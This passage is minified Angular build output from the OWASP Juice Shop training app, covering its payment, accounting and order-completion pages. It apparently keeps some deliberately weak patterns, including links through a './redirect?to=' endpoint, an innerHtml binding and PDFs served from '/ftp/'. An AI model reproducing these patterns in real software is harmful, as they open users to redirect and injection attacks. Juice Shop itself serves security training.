new(e||n)(t.Y36(h.Ye),t.Y36(I.N_),t.Y36(R),t.Y36(Dt),t.Y36(ce),t.Y36(U.F0),t.Y36(N.uw),t.Y36(b.e),t.Y36(X),t.Y36(u.sK),t.Y36(U.gz),t.Y36(t.R0b),t.Y36(J.H))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-payment"]],decls:24,vars:10,consts:[[1,"mat-own-card","mat-elevation-z6"],[3,"allowDelete","emitSelection"],["class","mat-elevation-z0","class","custom-card",4,"ngIf"],["class","mat-elevation-z0","id","collapseCouponElement",3,"expanded",4,"ngIf"],["class","mat-elevation-z0",3,"expanded",4,"ngIf"],[2,"margin-top","20px","margin-bottom","20px"],["mat-stroked-button","",1,"btn","btn-return",3,"click"],["mat-raised-button","","mat-button","","color","primary","aria-label","Proceed to review",1,"btn","nextButton",3,"disabled","click"],["translate",""],[2,"text-align","center","margin-top","-27px"],["translate","",4,"ngIf"],[1,"custom-card"],["fxLayout","row"],["fxFlex","42%"],["translate","",1,"card-title"],["fxFlex","38%"],[1,"confirmation","card-title"],["fxFlex","20%"],["type","submit","color","primary","mat-raised-button","",1,"btn",2,"float","right",3,"disabled","click"],[1,"fas","fa-hand-holding-usd","fa-lg"],["id","collapseCouponElement",1,"mat-elevation-z0",3,"expanded"],[1,"detail-divider"],["style","margin-top:5px;","class","confirmation",4,"ngIf"],["style","margin-top:5px;","class","error",4,"ngIf"],["appearance","outline","color","accent"],[3,"innerHtml"],["id","coupon","matInput","","type","text",3,"formControl","placeholder"],["coupon",""],["align","end"],[4,"ngIf"],["type","submit","id","applyCouponButton","color","accent","mat-raised-button","",2,"margin-top","5px","float","right",3,"disabled","click"],[1,"confirmation",2,"margin-top","5px"],[1,"error",2,"margin-top","5px"],[1,"mat-elevation-z0",3,"expanded"],["fxLayout","row","fxLayout.lt-lg","column"],["fxFlex","34%","fxFlex.lt-lg","100%",1,"mat-elevation-z0"],[1,"payment-label"],["translate","",3,"translateParams",4,"ngIf"],[1,"fas","fa-heart","error",2,"margin-left","3px"],[1,"button-container",2,"margin-top","6px"],["href","https://pwning.owasp-juice.shop/part3/donations.html"],["mat-stroked-button",""],[1,"fab","fa-stripe","fa-lg"],["mat-stroked-button","",3,"click",4,"ngIf"],[1,"fill-remaining-space"],["fxFlex","65%","fxFlex.lt-lg","100%",1,"mat-elevation-z0"],[1,"fas","fa-thumbs-up","confirmation",2,"margin-left","3px"],["href","./redirect?to=http://shop.spreadshirt.com/juiceshop"],[1,"fas","fa-tshirt","fa-lg"],["href","./redirect?to=http://shop.spreadshirt.de/juiceshop"],["href","./redirect?to=https://www.stickeryou.com/products/owasp-juice-shop/794"],[1,"fas","fa-sticky-note","fa-lg"],["href","./redirect?to=http://leanpub.com/juice-shop"],[1,"fab","fa-leanpub","fa-lg"],["href","https://opensea.io/collection/juice-shop"],[1,"fas","fa-palette","fa-lg"],["translate","",3,"translateParams"],["mat-stroked-button","",3,"click"],[1,"fab","fa-btc","fa-lg"],[1,"fa-lg"],[1,"fab","fa-ethereum","fa-lg"]],template:function(e,o){1&e&&(t.TgZ(0,"mat-card",0)(1,"div")(2,"app-payment-method",1),t.NdJ("emitSelection",function(r){return o.getMessage(r)}),t.qZA(),t._UZ(3,"mat-divider"),t.YNc(4,ks,16,6,"div",2),t._UZ(5,"mat-divider"),t.YNc(6,Ps,26,26,"mat-expansion-panel",3),t._UZ(7,"mat-divider"),t.YNc(8,Rs,57,14,"mat-expansion-panel",4),t._UZ(9,"mat-divider"),t.TgZ(10,"div",5)(11,"button",6),t.NdJ("click",function(){return o.routeToPreviousUrl()}),t.TgZ(12,"mat-icon"),t._uU(13," navigate_before "),t.qZA(),t._uU(14),t.ALo(15,"translate"),t.qZA(),t.TgZ(16,"button",7),t.NdJ("click",function(){return o.choosePayment()}),t.TgZ(17,"mat-icon"),t._uU(18," navigate_next "),t.qZA(),t.TgZ(19,"span",8),t._uU(20,"LABEL_CONTINUE"),t.qZA()(),t.TgZ(21,"p",9),t.YNc(22,Ys,2,0,"span",10),t.YNc(23,Js,2,0,"span",10),t.qZA()()()()),2&e&&(t.xp6(2),t.Q6J("allowDelete",!1),t.xp6(2),t.Q6J("ngIf","wallet"!==o.mode),t.xp6(2),t.Q6J("ngIf","wallet"!==o.mode),t.xp6(2),t.Q6J("ngIf","wallet"!==o.mode),t.xp6(6),t.hij(" ",t.lcZ(15,8,"LABEL_BACK")," "),t.xp6(2),t.Q6J("disabled",void 0===o.paymentId&&"wallet"!==o.paymentMode),t.xp6(6),t.Q6J("ngIf","deluxe"!==o.mode&&"wallet"!==o.mode),t.xp6(1),t.Q6J("ngIf","wallet"===o.mode))},dependencies:[h.O5,u.Pi,p.xw,p.yH,s.Fj,s.JJ,s.oH,F.Hw,f.TO,f.KE,f.bx,f.hX,x.lW,T.a8,B.Nt,z.d,V.ib,V.yz,V.yK,V.u4,Ye,u.X$],styles:["mat-form-field[_ngcontent-%COMP%]{width:100%}.mat-own-card[_ngcontent-%COMP%]{display:block;margin-left:20%;margin-right:20%}.btn-return[_ngcontent-%COMP%]{display:block;margin-left:0;margin-right:auto}.nextButton[_ngcontent-%COMP%]{display:block;margin-left:auto;margin-right:0;margin-top:-37px}mat-card[_ngcontent-%COMP%]{height:auto}.mat-expansion-panel-header-description[_ngcontent-%COMP%]{flex-basis:0}.mat-raised-button[_ngcontent-%COMP%]{margin-right:3px}.custom-card[_ngcontent-%COMP%]{padding:18px 24px}.card-title[_ngcontent-%COMP%]{font-size:15px;line-height:36px;vertical-align:middle}.fill-remaining-space[_ngcontent-%COMP%]{flex:1 1 auto}.detail-divider[_ngcontent-%COMP%]{margin-bottom:12px;margin-top:12px}.mat-card[_ngcontent-%COMP%] .mat-divider-horizontal[_ngcontent-%COMP%]{position:relative!important}"]}),n})(),Hs=(()=>{class n{}return n.\\u0275fac=function(e){return new(e||n)},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-saved-payment-methods"]],decls:2,vars:1,consts:[[1,"mat-own-card","mat-elevation-z6"],[3,"allowDelete"]],template:function(e,o){1&e&&(t.TgZ(0,"mat-card",0),t._UZ(1,"app-payment-method",1),t.qZA()),2&e&&(t.xp6(1),t.Q6J("allowDelete",!0))},dependencies:[T.a8,Ye],styles:[".mat-own-card[_ngcontent-%COMP%]{display:block;margin-left:20%;margin-right:20%}"]}),n})(),pe=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/rest/order-history"}get(){return this.http.get(this.host).pipe((0,C.U)(e=>e.data),(0,_.K)(e=>{throw e}))}getAll(){return this.http.get(this.host+"/orders").pipe((0,C.U)(e=>e.data),(0,_.K)(e=>{throw e}))}toggleDeliveryStatus(e,o){return this.http.put(`${this.host}/${e}/delivery-status`,o).pipe((0,C.U)(i=>i.data),(0,_.K)(i=>{throw i}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})();const Gs=["paginatorOrderHistory"],js=["paginator"];function Ks(n,a){1&n&&t._UZ(0,"mat-header-cell",32)}function Ws(n,a){if(1&n&&(t.TgZ(0,"mat-cell",33),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.hij(" ",e.orderId,"")}}function zs(n,a){1&n&&t._UZ(0,"mat-header-cell",34)}function $s(n,a){if(1&n&&(t.TgZ(0,"mat-cell",35),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.hij(" ",null==e.totalPrice?null:e.totalPrice.toFixed(2),"\\xa4")}}function Vs(n,a){1&n&&t._UZ(0,"mat-header-cell",36)}function Xs(n,a){1&n&&(t.TgZ(0,"div",40),t._uU(1,"LABEL_IN_TRANSIT"),t.qZA())}function tl(n,a){1&n&&(t.TgZ(0,"div",41),t._uU(1,"LABEL_DELIVERED"),t.qZA())}function el(n,a){if(1&n&&(t.TgZ(0,"mat-cell",37),t.YNc(1,Xs,2,0,"div",38),t.YNc(2,tl,2,0,"div",39),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.Q6J("ngIf",!e.delivered),t.xp6(1),t.Q6J("ngIf",e.delivered)}}function nl(n,a){1&n&&t._UZ(0,"mat-header-cell",35)}function ol(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",43),t.NdJ("click",function(){t.CHM(e);const i=t.oxw().$implicit,r=t.oxw();return t.KtG(r.changeDeliveryStatus(i.delivered,i.id))}),t.ALo(1,"translate"),t.TgZ(2,"mat-icon"),t._uU(3," cached "),t.qZA()()}2&n&&t.s9C("matTooltip",t.lcZ(1,1,"LABEL_MARK_AS_TRANSIT"))}function al(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",43),t.NdJ("click",function(){t.CHM(e);const i=t.oxw().$implicit,r=t.oxw();return t.KtG(r.changeDeliveryStatus(i.delivered,i.id))}),t.ALo(1,"translate"),t.TgZ(2,"mat-icon"),t._uU(3," check_circle "),t.qZA()()}2&n&&t.s9C("matTooltip",t.lcZ(1,1,"LABEL_MARK_AS_DELIVERED"))}function il(n,a){if(1&n&&(t.TgZ(0,"mat-cell",35),t.YNc(1,ol,4,3,"button",42),t.YNc(2,al,4,3,"button",42),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.Q6J("ngIf",e.delivered),t.xp6(1),t.Q6J("ngIf",!e.delivered)}}function rl(n,a){1&n&&t._UZ(0,"mat-header-row")}function sl(n,a){1&n&&t._UZ(0,"mat-row")}function ll(n,a){1&n&&t._UZ(0,"mat-header-cell",44)}function cl(n,a){if(1&n&&(t.TgZ(0,"mat-cell",45),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.hij(" ",e.name,"")}}function ul(n,a){1&n&&t._UZ(0,"mat-header-cell",46)}function pl(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-cell",47)(1,"mat-form-field",48),t._UZ(2,"input",49,50),t.TgZ(4,"button",51),t.NdJ("click",function(){const r=t.CHM(e).$implicit,l=t.MAs(3),m=t.oxw();return t.KtG(m.modifyPrice(r.id,l.value))}),t._UZ(5,"i",52),t.qZA()()()}if(2&n){const e=a.$implicit;t.xp6(2),t.s9C("value",e.price)}}function dl(n,a){1&n&&t._UZ(0,"mat-header-cell",53)}function ml(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-cell",47)(1,"mat-form-field",48),t._UZ(2,"input",49,54),t.TgZ(4,"button",51),t.NdJ("click",function(){const r=t.CHM(e).$implicit,l=t.MAs(3),m=t.oxw();return t.KtG(m.modifyQuantity(m.quantityMap[r.id].id,l.value))}),t._UZ(5,"i",52),t.qZA()()()}if(2&n){const e=a.$implicit,o=t.oxw();t.xp6(2),t.s9C("value",o.quantityMap[e.id].quantity)}}function gl(n,a){1&n&&t._UZ(0,"mat-header-row")}function hl(n,a){1&n&&t._UZ(0,"mat-row")}O.vI.add(g.LEp);let _l=(()=>{class n{constructor(e,o,i,r){this.productService=e,this.quantityService=o,this.orderHistoryService=i,this.snackBarHelperService=r,this.orderHistoryColumns=["OrderId","Price","Status","StatusButton"],this.displayedColumns=["Product","Price","Quantity"]}ngAfterViewInit(){this.loadQuantity(),this.loadProducts(),this.loadOrders()}loadQuantity(){this.quantitySubscription=this.quantityService.getAll().subscribe(e=>{this.quantityMap={},e.forEach(o=>{this.quantityMap[o.ProductId]={id:o.id,quantity:o.quantity}})},e=>{console.log(e)})}loadProducts(){this.productSubscription=this.productService.search("").subscribe(e=>{this.tableData=e,this.dataSource=new d.by(this.tableData),this.dataSource.paginator=this.paginator},e=>{console.log(e)})}loadOrders(){this.orderHistoryService.getAll().subscribe(e=>{this.orderData=[];for(const o of e)this.orderData.push({id:o._id,orderId:o.orderId,totalPrice:o.totalPrice,delivered:o.delivered});this.orderSource=new d.by(this.orderData),this.orderSource.paginator=this.paginatorOrderHistory},e=>{console.log(e)})}ngOnDestroy(){this.productSubscription&&this.productSubscription.unsubscribe(),this.quantitySubscription&&this.quantitySubscription.unsubscribe()}modifyQuantity(e,o){this.quantityService.put(e,{quantity:o<0?0:o}).subscribe(i=>{const r=this.tableData.find(l=>l.id===i.ProductId);this.snackBarHelperService.open(`Quantity for ${r.name} has been updated.`,"confirmBar"),this.loadQuantity()},i=>{this.snackBarHelperService.open(i.error,"errorBar"),console.log(i)})}modifyPrice(e,o){this.productService.put(e,{price:o<0?0:o}).subscribe(i=>{this.snackBarHelperService.open(`Price for ${i.name} has been updated.`,"confirmBar"),this.loadProducts()},i=>{this.snackBarHelperService.open(i.error,"errorBar"),console.log(i)})}changeDeliveryStatus(e,o){this.orderHistoryService.toggleDeliveryStatus(o,{deliveryStatus:e}).subscribe(()=>{this.loadOrders()},i=>{this.snackBarHelperService.open(i,"errorBar"),console.log(i)})}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(Pt),t.Y36(Wt),t.Y36(pe),t.Y36(J.H))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-accounting"]],viewQuery:function(e,o){if(1&e&&(t.Gf(Gs,7),t.Gf(js,7)),2&e){let i;t.iGM(i=t.CRH())&&(o.paginatorOrderHistory=i.first),t.iGM(i=t.CRH())&&(o.paginator=i.first)}},decls:45,vars:8,consts:[[1,"mat-elevation-z6","mat-own-card"],["translate",""],["fxLayout","row","fxLayout.lt-md","column","fxLayoutGap","20px",1,"container"],["fxFlexAlign","center",1,"orders-container"],[1,"orders-table"],[1,"heading"],[3,"dataSource"],["matColumnDef","OrderId"],["translate","LABEL_ORDER_ID","fxFlex","50%",4,"matHeaderCellDef"],["fxFlex","50%",4,"matCellDef"],["matColumnDef","Price"],["translate","LABEL_PRICE","fxFlex","15%",4,"matHeaderCellDef"],["fxFlex","15%",4,"matCellDef"],["matColumnDef","Status"],["translate","LABEL_STATUS","fxFlex","20%",4,"matHeaderCellDef"],["fxFlex","20%",4,"matCellDef"],["matColumnDef","StatusButton"],["fxFlex","15%",4,"matHeaderCellDef"],[4,"matHeaderRowDef"],[4,"matRowDef","matRowDefColumns"],["color","accent",1,"mat-elevation-z0",3,"pageSize"],["paginatorOrderHistory",""],["fxFlexAlign.lt-md","center",1,"inventory-container"],[1,"inventory-table"],["matColumnDef","Product"],["translate","LABEL_PRODUCT","fxFlex","50%","fxFlex.lt-md","50%",4,"matHeaderCellDef"],["fxFlex","50%","fxFlex.lt-md","50%",4,"matCellDef"],["translate","LABEL_PRICE","fxFlex","25%","fxFlex.lt-md","25%",4,"matHeaderCellDef"],["fxFlex","25%","fxFlex.lt-md","25%",4,"matCellDef"],["matColumnDef","Quantity"],["translate","LABEL_QUANTITY","fxFlex","25%","fxFlex.lt-md","25%",4,"matHeaderCellDef"],["paginator",""],["translate","LABEL_ORDER_ID","fxFlex","50%"],["fxFlex","50%"],["translate","LABEL_PRICE","fxFlex","15%"],["fxFlex","15%"],["translate","LABEL_STATUS","fxFlex","20%"],["fxFlex","20%"],["class","error","translate","",4,"ngIf"],["class","confirmation","translate","",4,"ngIf"],["translate","",1,"error"],["translate","",1,"confirmation"],["mat-icon-button","","aria-label","Print order confirmation","matTooltipPosition","below",3,"matTooltip","click",4,"ngIf"],["mat-icon-button","","aria-label","Print order confirmation","matTooltipPosition","below",3,"matTooltip","click"],["translate","LABEL_PRODUCT","fxFlex","50%","fxFlex.lt-md","50%"],["fxFlex","50%","fxFlex.lt-md","50%"],["translate","LABEL_PRICE","fxFlex","25%","fxFlex.lt-md","25%"],["fxFlex","25%","fxFlex.lt-md","25%"],[1,"input-field"],["matInput","","type","number",3,"value"],["price",""],["mat-icon-button","","matSuffix","",3,"click"],[1,"fas","fa-check"],["translate","LABEL_QUANTITY","fxFlex","25%","fxFlex.lt-md","25%"],["quanitity",""]],template:function(e,o){1&e&&(t.TgZ(0,"mat-card",0)(1,"h1",1),t._uU(2,"ACCOUNTING"),t.qZA(),t.TgZ(3,"div",2)(4,"div",3)(5,"div",4)(6,"div",5)(7,"span",1),t._uU(8,"TITLE_TRACK_ORDERS"),t.qZA()(),t.TgZ(9,"mat-table",6),t.ynx(10,7),t.YNc(11,Ks,1,0,"mat-header-cell",8),t.YNc(12,Ws,2,1,"mat-cell",9),t.BQk(),t.ynx(13,10),t.YNc(14,zs,1,0,"mat-header-cell",11),t.YNc(15,$s,2,1,"mat-cell",12),t.BQk(),t.ynx(16,13),t.YNc(17,Vs,1,0,"mat-header-cell",14),t.YNc(18,el,3,2,"mat-cell",15),t.BQk(),t.ynx(19,16),t.YNc(20,nl,1,0,"mat-header-cell",17),t.YNc(21,il,3,2,"mat-cell",12),t.BQk(),t.YNc(22,rl,1,0,"mat-header-row",18),t.YNc(23,sl,1,0,"mat-row",19),t.qZA(),t._UZ(24,"mat-paginator",20,21),t.qZA()(),t.TgZ(26,"div",22)(27,"div",23)(28,"div",5)(29,"span",1),t._uU(30,"TITLE_ALL_PRODUCTS"),t.qZA()(),t.TgZ(31,"mat-table",6),t.ynx(32,24),t.YNc(33,ll,1,0,"mat-header-cell",25),t.YNc(34,cl,2,1,"mat-cell",26),t.BQk(),t.ynx(35,10),t.YNc(36,ul,1,0,"mat-header-cell",27),t.YNc(37,pl,6,1,"mat-cell",28),t.BQk(),t.ynx(38,29),t.YNc(39,dl,1,0,"mat-header-cell",30),t.YNc(40,ml,6,1,"mat-cell",28),t.BQk(),t.YNc(41,gl,1,0,"mat-header-row",18),t.YNc(42,hl,1,0,"mat-row",19),t.qZA(),t._UZ(43,"mat-paginator",20,31),t.qZA()()()()),2&e&&(t.xp6(9),t.Q6J("dataSource",o.orderSource),t.xp6(13),t.Q6J("matHeaderRowDef",o.orderHistoryColumns),t.xp6(1),t.Q6J("matRowDefColumns",o.orderHistoryColumns),t.xp6(1),t.Q6J("pageSize",10),t.xp6(7),t.Q6J("dataSource",o.dataSource),t.xp6(10),t.Q6J("matHeaderRowDef",o.displayedColumns),t.xp6(1),t.Q6J("matRowDefColumns",o.displayedColumns),t.xp6(1),t.Q6J("pageSize",10))},dependencies:[h.O5,u.Pi,p.xw,p.SQ,p.XD,p.yH,F.Hw,f.KE,f.R9,x.lW,d.BZ,d.fO,d.as,d.w1,d.Dz,d.nj,d.ge,d.ev,d.XQ,d.Gk,xt.NW,T.a8,B.Nt,Q.gM,u.X$],styles:[".heading[_ngcontent-%COMP%]{background:rgba(0,0,0,.13);font-size:large;justify-content:center;margin-bottom:10px;padding:12px}.container[_ngcontent-%COMP%]{justify-content:center}mat-table[_ngcontent-%COMP%]{height:767px}mat-header-row[_ngcontent-%COMP%]{min-height:0!important}.orders-container[_ngcontent-%COMP%], .inventory-container[_ngcontent-%COMP%]{max-width:600px;min-width:300px;width:70%}.orders-table[_ngcontent-%COMP%], .inventory-table[_ngcontent-%COMP%]{margin-bottom:25px}mat-cell[_ngcontent-%COMP%], mat-footer-cell[_ngcontent-%COMP%], mat-header-cell[_ngcontent-%COMP%]{align-items:normal;display:block}mat-cell[_ngcontent-%COMP%]:last-child, mat-footer-cell[_ngcontent-%COMP%]:last-child, mat-header-cell[_ngcontent-%COMP%]:last-child{padding-right:50px}mat-row[_ngcontent-%COMP%]{height:69px}.mat-own-card[_ngcontent-%COMP%]{display:block;margin-bottom:20px;margin-left:10%;margin-right:10%}.product[_ngcontent-%COMP%]{cursor:pointer}.input-field[_ngcontent-%COMP%]{width:80px}"]}),n})();const fl=function(n){return{numberdays:n}};function Cl(n,a){if(1&n&&(t.TgZ(0,"span")(1,"div",30),t._uU(2,"ESTIMATED_TIME_OF_DELIVERY"),t.qZA()()),2&n){const e=t.oxw(2);t.xp6(1),t.Q6J("translateParams",t.VKq(1,fl,e.orderDetails.eta))}}function vl(n,a){if(1&n&&(t.TgZ(0,"div"),t.YNc(1,Cl,3,3,"span",7),t.TgZ(2,"div")(3,"b",4),t._uU(4,"LABEL_DELIVERY_ADDRESS"),t.qZA()(),t.TgZ(5,"div"),t._uU(6),t.qZA(),t.TgZ(7,"div"),t._uU(8),t.qZA(),t.TgZ(9,"div"),t._uU(10),t.qZA(),t.TgZ(11,"div")(12,"span",4),t._uU(13,"PHONE_NUMBER"),t.qZA(),t._uU(14),t.qZA()()),2&n){const e=t.oxw();t.xp6(1),t.Q6J("ngIf","?"!==e.orderDetails.eta&&void 0!==e.orderDetails.eta),t.xp6(5),t.Oqu(null==e.address?null:e.address.fullName),t.xp6(2),t.HOy("",null==e.address?null:e.address.streetAddress,", ",null==e.address?null:e.address.city,", ",null==e.address?null:e.address.state,", ",null==e.address?null:e.address.zipCode,""),t.xp6(2),t.Oqu(null==e.address?null:e.address.country),t.xp6(4),t.hij(" ",null==e.address?null:e.address.mobileNum,"")}}function xl(n,a){1&n&&(t.TgZ(0,"mat-header-cell",4),t._uU(1,"LABEL_PRODUCT"),t.qZA())}function bl(n,a){if(1&n&&(t.TgZ(0,"mat-cell"),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.hij("",e.name," ")}}function Tl(n,a){1&n&&t._UZ(0,"mat-footer-cell")}function Al(n,a){1&n&&(t.TgZ(0,"mat-header-cell",4),t._uU(1,"LABEL_PRICE"),t.qZA())}function yl(n,a){if(1&n&&(t.TgZ(0,"mat-cell"),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.hij("",e.price,"\\xa4")}}function Zl(n,a){1&n&&t._UZ(0,"mat-footer-cell")}function wl(n,a){1&n&&(t.TgZ(0,"mat-header-cell",4),t._uU(1,"LABEL_QUANTITY"),t.qZA())}function Sl(n,a){if(1&n&&(t.TgZ(0,"mat-cell")(1,"span"),t._uU(2),t.qZA()()),2&n){const e=a.$implicit;t.xp6(2),t.Oqu(e.quantity)}}function kl(n,a){1&n&&(t.TgZ(0,"mat-footer-cell")(1,"table",31)(2,"tr",32)(3,"td",4),t._uU(4,"ITEMS"),t.qZA()(),t.TgZ(5,"tr",32)(6,"td",4),t._uU(7,"DELIVERY"),t.qZA()(),t.TgZ(8,"tr",32)(9,"td",4),t._uU(10,"PROMOTION"),t.qZA()(),t.TgZ(11,"tr",33)(12,"td",4),t._uU(13,"LABEL_TOTAL_PRICE"),t.qZA()()()())}function Il(n,a){1&n&&(t.TgZ(0,"mat-header-cell",4),t._uU(1,"LABEL_TOTAL_PRICE"),t.qZA())}function Ol(n,a){if(1&n&&(t.TgZ(0,"mat-cell",34),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.hij("",e.total.toFixed(2),"\\xa4")}}function Ul(n,a){if(1&n&&(t.TgZ(0,"mat-footer-cell")(1,"table",34)(2,"tr",32)(3,"td"),t._uU(4),t.qZA()(),t.TgZ(5,"tr",32)(6,"td"),t._uU(7),t.qZA()(),t.TgZ(8,"tr",32)(9,"td"),t._uU(10),t.qZA()(),t.TgZ(11,"tr",33)(12,"td"),t._uU(13),t.qZA()()()()),2&n){const e=t.oxw();t.xp6(4),t.hij("",null==e.orderDetails.itemTotal?null:e.orderDetails.itemTotal.toFixed(2),"\\xa4"),t.xp6(3),t.hij("",e.deliveryPrice.toFixed(2),"\\xa4"),t.xp6(3),t.hij("",e.promotionalDiscount.toFixed(2),"\\xa4"),t.xp6(3),t.hij("",null==e.orderDetails.totalPrice?null:e.orderDetails.totalPrice.toFixed(2),"\\xa4")}}function Ll(n,a){1&n&&t._UZ(0,"mat-header-row")}function Pl(n,a){1&n&&t._UZ(0,"mat-row")}function Nl(n,a){1&n&&t._UZ(0,"mat-footer-row",35)}const El=function(n){return{id:n}},Ml=function(n){return{bonus:n}};O.vI.add(Z.mdU);let Dl=(()=>{class n{constructor(e,o,i,r,l){this.configurationService=e,this.addressService=o,this.trackOrderService=i,this.activatedRoute=r,this.basketService=l,this.tableColumns=["product","price","quantity","total price"],this.orderDetails={totalPrice:0},this.deliveryPrice=0,this.promotionalDiscount=0,this.tweetText="I just purchased",this.truncateTweet=(m,v=140)=>{if(!m)return null;const A=m.length>v;return`${m.substring(0,v)}${A?"...":""}`}}ngOnInit(){this.activatedRoute.paramMap.subscribe(e=>{this.orderId=e.get("id"),this.trackOrderService.find(this.orderId).subscribe(o=>{this.promotionalDiscount=o.data[0].promotionalAmount?parseFloat(o.data[0].promotionalAmount):0,this.deliveryPrice=o.data[0].deliveryPrice?parseFloat(o.data[0].deliveryPrice):0,this.orderDetails.addressId=o.data[0].addressId,this.orderDetails.paymentId=o.data[0].paymentId,this.orderDetails.totalPrice=o.data[0].totalPrice,this.orderDetails.itemTotal=o.data[0].totalPrice+this.promotionalDiscount-this.deliveryPrice,this.orderDetails.eta=o.data[0].eta||"?",this.orderDetails.products=o.data[0].products,this.orderDetails.bonus=o.data[0].bonus,this.dataSource=new d.by(this.orderDetails.products);for(const i of this.orderDetails.products)this.tweetText+=`%0a- ${i.name}`;this.tweetText=this.truncateTweet(this.tweetText),this.configurationService.getApplicationConfiguration().subscribe(i=>{i?.application?.social&&(this.tweetText+="%0afrom ",this.tweetText+=i.application.social.twitterUrl?i.application.social.twitterUrl.replace("https://twitter.com/","@"):i.application.name)},i=>{console.log(i)}),this.addressService.getById(this.orderDetails.addressId).subscribe(i=>{this.address=i},i=>{console.log(i)})},o=>{console.log(o)})},e=>{console.log(e)})}openConfirmationPDF(){window.open(`${this.basketService.hostServer}/ftp/order_${this.orderId}.pdf`,"_blank")}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(b.e),t.Y36(mt),t.Y36(Qt),t.Y36(U.gz),t.Y36(X))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-order-completion"]],decls:51,vars:18,consts:[[1,"mat-elevation-z6","mat-own-card"],["fxLayout","row","fxLayout.lt-md","column"],["fxFlex","60%",1,"mat-elevation-z0"],["translate","",1,"confirmation"],["translate",""],["routerLink","/track-result/new","translate","",3,"queryParams"],["fxFlex","40%",1,"mat-elevation-z0"],[4,"ngIf"],[1,"mat-elevation-z0","table-container"],[1,"heading"],[1,"heading-text"],["fxFlex",""],[3,"href"],["mat-icon-button","","aria-label","Tweet"],[1,"fab","fa-twitter","fa-lg"],["mat-icon-button","","aria-label","Print order confirmation","matTooltipPosition","below",3,"matTooltip","click"],[3,"dataSource"],["matColumnDef","product"],["translate","",4,"matHeaderCellDef"],[4,"matCellDef"],[4,"matFooterCellDef"],["matColumnDef","price"],["matColumnDef","quantity"],["matColumnDef","total price"],["class","price-align",4,"matCellDef"],[4,"matHeaderRowDef"],[4,"matRowDef","matRowDefColumns"],["mat-footer-row","",4,"matFooterRowDef"],[1,"mat-elevation-z0"],["translate","",3,"translateParams"],["translate","",1,"confirmation",3,"translateParams"],[1,"mat-table"],[1,"mat-row"],[1,"mat-row",2,"font-weight","bold"],[1,"price-align"],["mat-footer-row",""]],template:function(e,o){1&e&&(t.TgZ(0,"mat-card",0)(1,"div")(2,"div",1)(3,"mat-card",2)(4,"div")(5,"h1",3),t._uU(6,"THANKS_FOR_PURCHASE"),t.qZA(),t.TgZ(7,"div",4),t._uU(8,"PURCHASE_COMMENT_PREFIX "),t.TgZ(9,"a",5),t._uU(10,"TITLE_TRACK_ORDERS"),t.qZA(),t._uU(11," PURCHASE_COMMENT_SUFFIX"),t.qZA()()(),t.TgZ(12,"mat-card",6),t.YNc(13,vl,15,8,"div",7),t.qZA()()(),t.TgZ(14,"div",8)(15,"div",9)(16,"span",10),t._uU(17),t.ALo(18,"translate"),t.qZA(),t._UZ(19,"span",11),t.TgZ(20,"a",12)(21,"button",13),t._UZ(22,"i",14),t.qZA()(),t.TgZ(23,"button",15),t.NdJ("click",function(){return o.openConfirmationPDF()}),t.ALo(24,"translate"),t.TgZ(25,"mat-icon"),t._uU(26," note "),t.qZA()()(),t.TgZ(27,"mat-table",16),t.ynx(28,17),t.YNc(29,xl,2,0,"mat-header-cell",18),t.YNc(30,bl,2,1,"mat-cell",19),t.YNc(31,Tl,1,0,"mat-footer-cell",20),t.BQk(),t.ynx(32,21),t.YNc(33,Al,2,0,"mat-header-cell",18),t.YNc(34,yl,2,1,"mat-cell",19),t.YNc(35,Zl,1,0,"mat-footer-cell",20),t.BQk(),t.ynx(36,22),t.YNc(37,wl,2,0,"mat-header-cell",18),t.YNc(38,Sl,3,1,"mat-cell",19),t.YNc(39,kl,14,0,"mat-footer-cell",20),t.BQk(),t.ynx(40,23),t.YNc(41,Il,2,0,"mat-header-cell",18),t.YNc(42,Ol,2,1,"mat-cell",24),t.YNc(43,Ul,14,4,"mat-footer-cell",20),t.BQk(),t.YNc(44,Ll,1,0,"mat-header-row",25),t.YNc(45,Pl,1,0,"mat-row",26),t.YNc(46,Nl,1,0,"mat-footer-row",27),t.qZA()(),t.TgZ(47,"div")(48,"mat-card",28)(49,"div",29),t._uU(50,"BONUS_POINTS_COUNT"),t.qZA()()()()),2&e&&(t.xp6(9),t.Q6J("queryParams",t.VKq(14,El,o.orderId)),t.xp6(4),t.Q6J("ngIf",o.address),t.xp6(4),t.Oqu(t.lcZ(18,10,"ORDER_SUMMARY")),t.xp6(3),t.MGl("href","https://twitter.com/intent/tweet?text=",o.tweetText,"&hashtags=security",t.LSH),t.xp6(3),t.s9C("matTooltip",t.lcZ(24,12,"PRINT_ORDER_CONFIRMATION")),t.xp6(4),t.Q6J("dataSource",o.dataSource),t.xp6(17),t.Q6J("matHeaderRowDef",o.tableColumns),t.xp6(1),t.Q6J("matRowDefColumns",o.tableColumns),t.xp6(1),t.Q6J("matFooterRowDef",o.tableColumns),t.xp6(3),t.Q6J("translateParams",t.VKq(16,Ml,o.orderDetails.bonus)))},dependencies:[h.O5,U.rH,u.Pi,p.xw,p.yH,F.Hw,x.lW,d.BZ,d.fO,d.as,d.w1,d.Dz,d.nj,d.mD,d.Ke,d.ge,d.ev,d.yh,d.XQ,d.Gk,d.Q2,T.a8,Q.gM,u.X$],styles:[".heading[_ngc